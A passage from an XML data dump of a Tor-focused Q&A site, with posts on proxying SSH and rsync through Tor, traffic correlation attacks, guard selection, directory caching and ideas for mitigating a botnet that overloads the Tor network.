ContentLicense="CC BY-SA 3.0" />
  <row Id="127" PostTypeId="2" ParentId="123" CreationDate="2013-09-26T18:30:56.123" Score="26" Body="&lt;p&gt;For SSH you can do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o ProxyCommand='nc -x localhost:$orport %h %p' example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Options can also be configured in your &lt;code&gt;~/.ssh/config&lt;/code&gt; (or &lt;code&gt;/etc/ssh/ssh_config&lt;/code&gt;, or the equivalent on your OS) file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host example&#xA;    Hostname example.com&#xA;    ProxyCommand /usr/bin/nc -x localhost:$orport %h %p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rsync can then use ssh as its remote shell and it will pick up the previous config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rsync -e ssh example:path/to/files /dest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, by directly passing arguments to the remote shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rsync -e &quot;ssh -o ProxyCommand='nc -x localhost:$orport %h %p'&quot; example.com /dest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, you can use the &lt;code&gt;RSYNC_CONNECT_PROG&lt;/code&gt; environment variable to set up all future RSYNC invocations to use Tor (without having to manually specify it each time):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export RSYNC_CONNECT_PROG='ssh proxyhost nc -x localhost:$orport %h %p'&#xA;rsync example.com:/src /dest &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;$orport&lt;/code&gt; with the port you've got Tor's SOCKS proxy listening on.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-27T15:03:06.490" LastActivityDate="2013-09-27T15:03:06.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="128" PostTypeId="1" AcceptedAnswerId="152" CreationDate="2013-09-26T19:11:40.283" Score="4" ViewCount="6140" Body="&lt;p&gt;When I restart the Tor Browser Bundle shortly after I've closed it I have the impression that relay information load faster. So I assume that the information about running relays is cached somehow. Is this assumption true? If yes, how long do those cached informations hold? If no, do you have an idea why it 'feels' sometimes faster?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2018-06-05T10:56:00.270" Title="Does the Tor Browser Bundle cache relay information?" Tags="|relays|tor-browser-bundle|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostTypeId="1" AcceptedAnswerId="150" CreationDate="2013-09-26T20:18:22.457" Score="8" ViewCount="4567" Body="&lt;p&gt;When I start the Tor Browser Bundle I sometimes see the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your Guard … is failing more circuits than usual. Most likely this means the Tor network is overloaded.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If this one guard node is failing it seems like a good idea to move to another guard. Is this a good idea or has this approach some drawbacks? If yes, which?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-04-02T07:52:27.437" Title="Should I choose a new guard if the network is overloaded?" Tags="|tor-browser-bundle|guard|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="130" PostTypeId="2" ParentId="96" CreationDate="2013-09-26T20:44:23.997" Score="2" Body="&lt;p&gt;A significant threat to onion routing is a correlation attack performed by an adversary that is able to observe the start and end nodes in your connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If somebody is watching you or your entry node, and the website you are visiting or your exit node - they can correlate the traffic. They see the website sending a large javascript file, and a few seconds later you receive a similarly sized piece of encrypted data. They see the website serving a large image, and then you receive a large image.  The website isn't sending anything, and you aren't receiving anything.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is even easier when they are simply trying to confirm that it is &lt;em&gt;you&lt;/em&gt; visiting a website (known as &lt;strong&gt;traffic confirmation&lt;/strong&gt;), and not looking to see which of every website in the world you are visiting (looking for a needle in a haystack, which is possible, but more difficult).  And in both cases&amp;nbsp;— the more traffic, the greater confidence they have that they got it right.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to perform the traffic confirmation attack is when you are able to receive arbitrary data from an attacker. This is the case if you run a Hidden Service, or if you are signed in on a chat program&amp;nbsp;— the attacker sends you a large (several megabyte message) and see if you receive a large encrypted message shortly thereafter.&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="808" LastEditDate="2013-12-25T17:06:15.593" LastActivityDate="2013-12-25T17:06:15.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostTypeId="2" ParentId="13" CreationDate="2013-09-26T20:55:15.210" Score="10" Body="&lt;p&gt;If your goal is load balancing, and the concern is the CPU usage of your machine, another option is to run the Tor Hidden Service on a machine with a load balancer like &lt;a href=&quot;http://haproxy.1wt.eu/&quot;&gt;HAProxy&lt;/a&gt; installed. HAProxy will transfer the requests to one of several beefy webservers to handle the request, leaving the load balancer running (only) Tor and HAProxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to note that hidden services have authentication built into the hidden service address, and the link is encrypted end-to-end, so running SSL over hidden services is unnecessary.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2013-09-26T20:55:15.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="132" PostTypeId="2" ParentId="124" CreationDate="2013-09-26T21:27:50.403" Score="6" Body="&lt;p&gt;In addition to Sam Whited's answer, short-term bridges are mostly useless. They'd be better off as normal relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridges are generally handed out by the Tor Project on a small scale. So the address may not be given out to someone in need for quite a while. Especially as they try to ration new bridges so that they go unblocked for as long as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you yourself directly give your Bridge address to another Tor user, it can be used straight away - just make sure to tell them when you expect it to stop working!&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-26T21:27:50.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostTypeId="5" CreationDate="2013-09-26T21:39:59.907" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-26T21:39:59.907" LastActivityDate="2013-09-26T21:39:59.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="134" PostTypeId="4" CreationDate="2013-09-26T21:39:59.907" Score="0" Body="Domain Name System (DNS) translates word-based domain and host names to numerical IP addresses." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-09-26T22:53:34.333" LastActivityDate="2013-09-26T22:53:34.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostTypeId="5" CreationDate="2013-09-26T21:41:35.007" Score="0" Body="&lt;p&gt;Google Chrome or Chromium are web browsers. Chromium is the open source version and Google Chrome is built on top of it.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="88" LastEditDate="2016-04-07T16:34:39.297" LastActivityDate="2016-04-07T16:34:39.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="136" PostTypeId="4" CreationDate="2013-09-26T21:41:35.007" Score="0" Body="Google Chrome or Chromium are web browsers." OwnerUserId="-1" LastEditorUserId="88" LastEditDate="2016-04-07T16:34:39.297" LastActivityDate="2016-04-07T16:34:39.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="137" PostTypeId="5" CreationDate="2013-09-26T21:42:33.370" Score="0" Body="&lt;p&gt;macOS (formerly OS X) is a series of Unix-based graphical operating systems developed, marketed, and sold by Apple Inc. It is designed to run exclusively on Mac computers, having been pre-loaded on all Macs since 2002.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="14997" LastEditDate="2018-12-20T22:11:33.927" LastActivityDate="2018-12-20T22:11:33.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="138" PostTypeId="4" CreationDate="2013-09-26T21:42:33.370" Score="0" Body="macOS (formerly OS X) is a series of Unix-based graphical operating systems developed, marketed, and sold by Apple Inc." OwnerUserId="71" LastEditorUserId="14997" LastEditDate="2018-12-20T22:07:18.963" LastActivityDate="2018-12-20T22:07:18.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="139" PostTypeId="5" CreationDate="2013-09-26T21:47:28.423" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-26T21:47:28.423" LastActivityDate="2013-09-26T21:47:28.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="140" PostTypeId="4" CreationDate="2013-09-26T21:47:28.423" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-26T21:47:28.423" LastActivityDate="2013-09-26T21:47:28.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostTypeId="5" CreationDate="2013-09-26T21:58:00.017" Score="0" Body="&lt;p&gt;Relays are the servers that make up the Tor network.  They forward user&#xA;traffic through the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since connections through the network are usually three hops long, we can - for a given connection - differentiate between three roles a node can play:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;guard&lt;/em&gt;: The node is the first in a circuit.  This is the node the user connects to directly.  It knows who the user is, but it doesn't know where they are going or what they are sending.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;middle&lt;/em&gt;: A server sitting in between the first and last hop.  The only information this node has is that some connection is going from the guard to the exit.  It doesn't know who initiated the connection or where it's going.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;exit&lt;/em&gt;: The last hop in a path through the network.  This one knows that a user is going to a specific site, such as &lt;a href=&quot;http://www.torproject.org&quot; rel=&quot;nofollow&quot;&gt;www.torproject.org&lt;/a&gt;, but it doesn't know who it is, assuming the connecting is encrypted or doesn't contain any personal information.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions with this tag should be related to relays in general and their operation and security.  Questions that are specific to exits or guards should be tagged with their respective tags: &lt;a href=&quot;/questions/tagged/exit-relays&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'exit-relays'&quot; rel=&quot;tag&quot;&gt;exit-relays&lt;/a&gt; or &lt;a href=&quot;/questions/tagged/guard&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'guard'&quot; rel=&quot;tag&quot;&gt;guard&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, check the links below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;The lifecycle of a new relay&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;Configuring a Tor relay&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq.html.en&quot; rel=&quot;nofollow&quot;&gt;Legal FAQ for Tor Relay Operators&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:34.647" LastActivityDate="2013-10-07T16:45:34.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostTypeId="4" CreationDate="2013-09-26T21:58:00.017" Score="0" Body="Questions relating to relays, their maintenance, and operation." OwnerDisplayName="user5" LastEditorUserId="58" LastEditDate="2013-10-07T16:45:44.367" LastActivityDate="2013-10-07T16:45:44.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostTypeId="2" ParentId="123" CreationDate="2013-09-26T22:48:56.967" Score="13" Body="&lt;p&gt;If you are using PuTTY you can configure it to use the Tor client as a SOCKS proxy directly. In &lt;strong&gt;Configuration&lt;/strong&gt; &amp;gt; &lt;strong&gt;Connection&lt;/strong&gt; &amp;gt; &lt;strong&gt;Proxy&lt;/strong&gt; select &lt;strong&gt;SOCKS 5&lt;/strong&gt;, enter &lt;code&gt;localhost&lt;/code&gt; and the port Tor client is listening on. The Tor Browser Bundle listens on port &lt;code&gt;9150&lt;/code&gt; by default. Keep in mind that functional SOCK proxy is available only after starting the Tor client (or Tor Browser) and connecting it to the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;The picture shows how the setting looks like in PuTTY 0.67.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YqPGr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YqPGr.png&quot; alt=&quot;SOCK proxy setting in PuTTY&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that one of the really cool things about PuTTY is that it's cross-platform, so this technique should work on both Linux and Windows. Use &lt;code&gt;sudo apt install putty&lt;/code&gt; to install PuTTY in Ubuntu, for instance.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2023-07-02T21:11:36.017" LastActivityDate="2023-07-02T21:11:36.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="144" PostTypeId="2" ParentId="100" CreationDate="2013-09-27T00:43:24.017" Score="7" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;From what I can see Tor mainly handles your web browser's traffic, but is there a way to do all of your connections through it? Like email, Dropbox, Carbonite backup, Skype etc?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Transparent Proxies such as Whonix and QubesOS TorVM can route all traffic through Tor. Routing all traffic through Tor is nowadays not the only thing. You also have to consider the protocol level.&lt;/p&gt;&#xA;&lt;p&gt;(Full disclosure: I am a maintainer of Whonix.)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;(Please explain whether this might be a good or a bad idea in the first place. I can understand that Skype might be inherently 'spy friendly' due to it's closed source nature and slow.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;A relevant quote from &lt;a href=&quot;https://www.whonix.org/wiki/Voip#Skype&quot; rel=&quot;noreferrer&quot;&gt;Whonix documentation about Skype&lt;/a&gt; answers that.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Does this mean that, for example, is my IP and location safe when using Skype?&lt;/p&gt;&#xA;&lt;p&gt;Yes, IP and location is safe. Skype has been tested in Whonix, it &amp;quot;works&amp;quot; quite well, still recommended against. Some further comments you should be aware of:&lt;/p&gt;&#xA;&lt;p&gt;Those are not Whonix or Tor issues, those are Skype issues. Consider Skype usage &lt;a href=&quot;https://www.whonix.org/wiki/DoNot#Do_not_confuse_Anonymity_with_Pseudonymity.&quot; rel=&quot;noreferrer&quot;&gt;pseudonymous rather than anonymous&lt;/a&gt;. Skype is closed source and given Skype's history (reading BIOS etc. just research) it's very much likely that they link all your account names inside Whonix-Workstation to the same pseudonym.&lt;/p&gt;&#xA;&lt;p&gt;Also obviously, if you log into an account, which you have ever used without Tor, consider the account non-anonymous. You really should assume, that they have logs and link your Tor and non-Tor use together.&lt;/p&gt;&#xA;&lt;p&gt;Security doesn't depend on your local security and key management, but on a third party, the Skype authority. Consider the Skype encryption broken by the Skype authority.&lt;/p&gt;&#xA;&lt;p&gt;Another obvious thing, if you chat with people, who have not created their account over Tor and who have not always connected over Tor, it's also not so hard to guess who you are. Remember, you are not in control of Skype's encryption keys and Skype is not Open Source, thus do not rely on Skype's encryption.&lt;/p&gt;&#xA;&lt;p&gt;Voice recognition software also got very sophisticated. Since you should be unsure if the Skype encryption is broken or not, voice recognition software could be used to find out who you are.&lt;/p&gt;&#xA;&lt;p&gt;Also read &lt;a href=&quot;https://www.whonix.org/wiki/DoNot#Do_not_mix_Modes_of_Anonymity.21&quot; rel=&quot;noreferrer&quot;&gt;Do not mix Modes of Anonymity!&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In conclusion Skype usage does not leak IP/location, but is discouraged anyway, unless you want to use it for circumvention only, without wanting to be anonymous or pseudonymous.&lt;/p&gt;&#xA;&lt;p&gt;What's the point in using Skype if you and all your chat partners are also willing to create and use their accounts only over Tor? You are advised to use Skype alternatives.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-09-27T00:43:24.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostTypeId="2" ParentId="129" CreationDate="2013-09-27T00:48:29.953" Score="2" Body="&lt;p&gt;It's a tradeoff between security and connectivity. If you happened to pick a slow guard, you can pick a new guard to improve connectivity. Doing so would decrease security, because guards are fixed for a reason. Changing them when someone may want you to change them is a bad idea.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-27T00:48:29.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostTypeId="2" ParentId="123" CreationDate="2013-09-27T00:52:54.663" Score="8" Body="&lt;p&gt;Using one of the anonymity (Tor) focused operating systems, such as Tails, QubesOS TorVM, Liberte Linux or Whonix is another option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Full disclosure: I am a maintainer of Whonix.)&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-27T00:52:54.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostTypeId="2" ParentId="120" CreationDate="2013-09-27T01:04:13.203" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Some applications can either leak sensitive information through the Tor channel or they can make communication outside of the Tor channel which could lead to identification of your computer in the Tor network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a list of applications which are known for such leaks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The most central place is the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;TorifyHOWTO&lt;/a&gt; in The Tor Project's wiki.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a list of applications where such leaks were not observed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Proving a negative is impossible. You can only scrutinize applications yourself or take your chances and use recommended applications. Probably the most popular, best supported and most used application is the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Bundle&lt;/a&gt; by The Tor Project. Still, proxy-bypass bugs occasionally &lt;a href=&quot;https://blog.torproject.org/blog/firefox-security-bug-proxy-bypass-current-tbbs&quot; rel=&quot;nofollow&quot;&gt;get caught&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there an initiative trying to create and maintain such lists?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. There is only the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;TorifyHOWTO&lt;/a&gt;, but there is little activity. From my personal experience, due to low activity, non-existant moderation activity and edit wars, editors aren't motivated.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-27T01:04:13.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostTypeId="2" ParentId="115" CreationDate="2013-09-27T01:16:52.590" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;One could advocate crowd-founding a &quot;Tor botnet defense fund&quot;. Then pay the most skilled hackers to analyze the malware, find a vulnerability in the botnet, cooperate with authorities and take over the botnet and shut it down. De-anonymize the botnet owner as a bonus.&lt;/li&gt;&#xA;&lt;li&gt;The issue comes from a lower level. A level, The Tor Project isn't responsible for. One could attempt to solve the problem at that level. Advocating for free basic education in computer security, so at least people's computers stay clear from computer worms would be an option.&lt;/li&gt;&#xA;&lt;li&gt;When even more botnets start using Tor, it may happen that Internet Service Providers call their users and ask them, if they know that they are using Tor; and then they don't; tell them to clean their computers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-27T01:16:52.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="149" PostTypeId="2" ParentId="115" CreationDate="2013-09-27T06:02:58.530" Score="14" Body="&lt;p&gt;Step one is to look at the short and medium term answers that I described in the &lt;a href=&quot;https://blog.torproject.org/blog/how-to-handle-millions-new-tor-clients&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post on the topic&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked Nick Hopper, a professor from Minnesota who is taking his sabbatical to work on Tor research problems, to think about the problem more deeply and see if there are good longer-term answers. Below are some of the ideas I suggested that he/we should explore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're definitely going to need help from the broader communities (research, hacker, social connections, etc) since we have our hands full teaching journalists what's going on with the NSA thing, making Tor work well when it's &lt;em&gt;not&lt;/em&gt; under this much attack, etc. Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first, I should point out that the below ideas are for solving the &lt;em&gt;current&lt;/em&gt; situation, where an enormous botnet has done a pretty good job at moving in without destroying its host. If he wanted to set his five million bots to trying to DDoS the Tor network, e.g. wasting the bandwidth of the volunteer relay operators, then that's a much crummier arms race to play. Five million bots is a lot of malicious hosts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here are some ideas to spark more thought. I was imagining breaking the ideas into three categories:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;stuff we should do short-term that isn't too difficult;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;stuff that isn't too tricky or risky that we should do medium term if the troubles remain; and&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;stuff we should do long-term if '1' and '2' don't work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think we have some handle on '1' (e.g. the points in the blog post), so I'm most interested in people to explore categories 2 and 3.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Drop all requests that use the v3 link handshake, since 0.2.4 speaks the v4 handshake. Or drop all TAP handshake requests. That means Tor 0.2.3.25 (our current stable) would stop functioning; probably best to get 0.2.4.x out as stable first.&#xA;&lt;li&gt;Rate limiting of circuit creation, limiting differently by handshake class (I think this one's a near-term promising one but only if the bots never upgrade).&#xA;&lt;li&gt;Users have to solve some sort of captcha before they can make many circuits. Messy for headless users, and also messes up hidden services, and how exactly would we do it anyway? It seems like a lot of users think this is a great idea, but zero people have made any viable suggestions on how to do it engineering-wise.&#xA;&lt;li&gt;Consensus parameters to ask clients to back off of various behaviors (but when it comes down to it, if the client has an application request, and we've told it to back off, what should it do?)&#xA;&lt;li&gt;Which of the incentives design papers are suited for this situation? See &lt;a href=&quot;http://freehaven.net/anonbib/#incentives-fc10&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building Incentives into Tor&lt;/a&gt;, &lt;a href=&quot;http://freehaven.net/anonbib/#ccs10-braids&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recruiting New Tor Relays with BRAIDS&lt;/a&gt;, &lt;a href=&quot;http://freehaven.net/anonbib/#ndss13-lira&quot; rel=&quot;nofollow noreferrer&quot;&gt;LIRA: Lightweight Incentivized Routing for Anonymity&lt;/a&gt;, and the related work section in each.&#xA;&lt;li&gt;Can we separate the hidden services functionality from normal Tor relays, and have it be an add-on that people use Tor relays for without Tor supporting the design explicitly? Would that actually help anything?&#xA;&lt;li&gt;Getting a sample of the malware, and contacting AV vendors to get them to help wipe it from the world.&#xA;&lt;li&gt;Using our social networks to try to track down the botnet operators and work with them to help them understand the harm they are doing.&#xA;&lt;li&gt;In the more crazy front: guards do passive OS fingerprinting (or heck, active nmaps) of the clients and throttle circuit requests and/or bandwidth from Windows users. Or they  try to detect the pattern of circuit-building or accesses that the bot generates -- for example, if it's programmed to hit its hidden service every 20 minutes, then we can look for that pattern and treat&#xA;those clients specially.&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This particular bot appears to just access a hidden service every so often.  What would happen if they wanted to pass more traffic over the Tor network too? What are the right architecture / design changes for becoming robust to that attack, without impacting real users too much?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it seems like the game theory changes dramatically if we assume the botnet operator will upgrade in response to our changes, or if we assume he won't. Maybe that's another way to categorize options. It also means that since the network is reasonably stable currently, and things could be a lot worse, then we should take our time and try to find some good long-term-viable solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, please help! I have better things to be doing than biting off this new research direction in parallel to all the others.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="21937" LastEditDate="2018-06-16T22:17:22.387" LastActivityDate="2018-06-16T22:17:22.387" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="150" PostTypeId="2" ParentId="129" CreationDate="2013-09-27T06:17:54.580" Score="12" Body="&lt;p&gt;No, you shouldn't pick a new guard. Your guard is still working. If it doesn't handle any circuits, Tor automatically shifts to a different one. You should let Tor do its path selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those messages are new in Tor 0.2.4.x, and the goal is to help detect anonymity attacks called &quot;path bias attacks&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more details at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5458&quot;&gt;Ticket 5458&lt;/a&gt;, but the basic idea of path bias detection is to recognize if one of your guards is failing a lot more circuits than the others, and warn you because while it's probably coincidence, it's possible that instead it's part of an attack similar to the one described in &lt;a href=&quot;http://freehaven.net/anonbib/#ccs07-doa&quot;&gt;Denial of Service or Denial of Security? How Attacks on Reliability can Compromise Anonymity&lt;/a&gt;, where an adversary who controls many relays tears down circuits he can't beat, increasing the number of circuits you make and thus increasing the chances you'll build a circuit he &lt;em&gt;can&lt;/em&gt; beat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, a design like the Path Bias detector is innately hard to tune, since it involves knowing what the steady-state of circuit failures is, so it can know when to complain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And right around the time people started upgrading to Tor 0.2.4, the botnet thing happened, and the steady-state of circuit failures changed, leading to lots of scary-sounding warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you manually rotate to another guard, a) The new one is probably going to be just as overloaded, since the whole network is overloaded with circuit create requests right now, and b) The chance that &lt;em&gt;either&lt;/em&gt; of the guards is observable by the adversary is much higher than the chance that just the original guard is. So you are undermining the protection that guards offer by adding more of them. For more details, see &lt;a href=&quot;https://blog.torproject.org/blog/research-problem-better-guard-rotation-parameters&quot;&gt;this blog post&lt;/a&gt; which asked some early research questions about vulnerability due to guard rotation, and &lt;a href=&quot;http://freehaven.net/anonbib/#wpes12-cogs&quot;&gt;this research paper&lt;/a&gt; that provided some initial answers.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-27T06:17:54.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostTypeId="1" CreationDate="2013-09-27T07:05:24.930" Score="2" ViewCount="2224" Body="&lt;p&gt;How does onion routing work? How would it be explained to someone who has a basic understanding of networking?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-09-05T17:15:56.680" Title="How does onion routing work?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2013-09-28T08:54:30.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="152" PostTypeId="2" ParentId="128" CreationDate="2013-09-27T09:59:52.610" Score="11" Body="&lt;p&gt;Yes. The Tor program caches its directory information -- and it does it the same way inside TBB as it does in, say, the Tor debian package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the files in Data/Tor/ in your tor-browser directory. These files are documented in the Tor man page, under the &quot;FILES&quot; section towards the end. The most interesting two for Tor 0.2.3.x and 0.2.4.x are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  DataDirectory/cached-consensus and/or cached-microdesc-consensus&#xA;      The most recent consensus network status document we’ve&#xA;      downloaded.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  DataDirectory/cached-microdescs and cached-microdescs.new&#xA;      These files hold downloaded microdescriptors. Lines beginning with&#xA;      @-signs are annotations that contain more information about a&#xA;      given router. The &quot;.new&quot; file is an append-only journal; when it&#xA;      gets too large, all entries are merged into a new&#xA;      cached-microdescs 